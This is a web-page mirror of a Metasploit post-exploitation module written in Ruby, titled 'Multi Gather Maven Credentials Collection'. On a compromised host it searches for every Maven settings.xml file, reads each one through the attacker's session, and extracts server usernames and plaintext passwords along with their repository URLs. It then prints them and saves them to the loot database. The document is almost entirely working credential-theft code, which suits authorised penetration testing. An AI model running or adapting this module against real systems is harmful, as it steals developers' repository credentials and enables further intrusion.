Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/maven_creds.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'nokogiri'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Post::Unix
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Multi Gather Maven Credentials Collection',
17
'Description' => %q{
18
This module will collect the contents of all users settings.xml on the targeted
19
machine.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => ['elenoir'],
23
'Platform' => %w[bsd linux osx unix win],
24
'SessionTypes' => ['shell', 'meterpreter'],
25
'Compat' => {
26
'Meterpreter' => {
27
'Commands' => %w[
28
core_channel_eof
29
core_channel_open
30
core_channel_read
31
core_channel_write
32
]
33
}
34
},
35
'Notes' => {
36
'Stability' => [CRASH_SAFE],
37
'SideEffects' => [],
38
'Reliability' => []
39
}
40
)
41
)
42
end
43
44
def gathernix
45
print_status('Unix OS detected')
46
files = cmd_exec('locate settings.xml').split("\n")
47
# Handle case where locate does not exist (error is returned in first element)
48
if files.length == 1 && !directory?(files.first)
49
files = []
50
paths = enum_user_directories.map { |d| d }
51
if paths.nil? || paths.empty?
52
print_error('No users directory found')
53
return
54
end
55
paths.each do |path|
56
path.chomp!
57
file = 'settings.xml'
58
target = "#{path}/#{file}"
59
if file? target
60
files.push(target)
61
end
62
end
63
end
64
return files
65
end
66
67
def gatherwin
68
print_status('Windows OS detected')
69
return cmd_exec('cd\ && dir settings.xml /b /s').split("\n")
70
end
71
72
def run
73
print_status('Finding user directories')
74
files = ''
75
case session.platform
76
when 'windows'
77
files = gatherwin
78
when 'unix', 'linux', 'bsd', 'osx'
79
files = gathernix
80
else
81
print_error('Incompatible platform')
82
end
83
if files.nil? || files.empty?
84
print_error('No settings.xml file found')
85
return
86
end
87
download_loot(files)
88
end
89
90
def download_loot(files)
91
print_status("Looting #{files.count} files")
92
files.each do |target|
93
target.chomp!
94
if file? target
95
print_status("Downloading #{target}")
96
extract(target)
97
end
98
end
99
end
100
101
def parse_settings(target, data)
102
xml_doc = Nokogiri::XML(data)
103
xml_doc.remove_namespaces!
104
105
xml_doc.xpath('//server').each do |server|
106
id = server.xpath('id').text
107
username = server.xpath('username').text
108
password = server.xpath('password').text
109
110
print_status('Collected the following credentials:')
111
print_status(' Id: %s' % id)
112
print_status(' Username: %s' % username)
113
print_status(' Password: %s' % password)
114
115
print_status('Try to find url from id...')
116
realm = ''
117
118
xml_doc.xpath("//mirror[id = '#{id}']").each do |mirror|
119
realm = mirror.xpath('url').text
120
print_status("Found url in mirror : #{realm}")
121
end
122
123
if realm.blank?
124
xml_doc.xpath("//repository[id = '#{id}']").each do |repository|
125
realm = repository.xpath('url').text
126
print_status("Found url in repository : #{realm}")
127
end
128
end
129
130
if realm.blank?
131
print_status('No url found, id will be set as realm')
132
realm = id
133
end
134
135
print_line('')
136
137
credential_data = {
138
origin_type: :import,
139
module_fullname: fullname,
140
filename: target,
141
service_name: 'maven',
142
realm_value: realm,
143
realm_key: Metasploit::Model::Realm::Key::WILDCARD,
144
private_type: :password,
145
private_data: password,
146
username: username,
147
workspace_id: myworkspace_id
148
}
149
create_credential(credential_data)
150
end
151
end
152
153
def extract(target)
154
print_status("Reading settings.xml file from #{target}")
155
data = ''
156
if session.type == 'shell'
157
data = session.shell_command("cat #{target}")
158
else
159
settings = session.fs.file.new(target.to_s, 'rb')
160
data << settings.read until settings.eof?
161
end
162
163
parse_settings(target, data)
164
end
165
end
166
167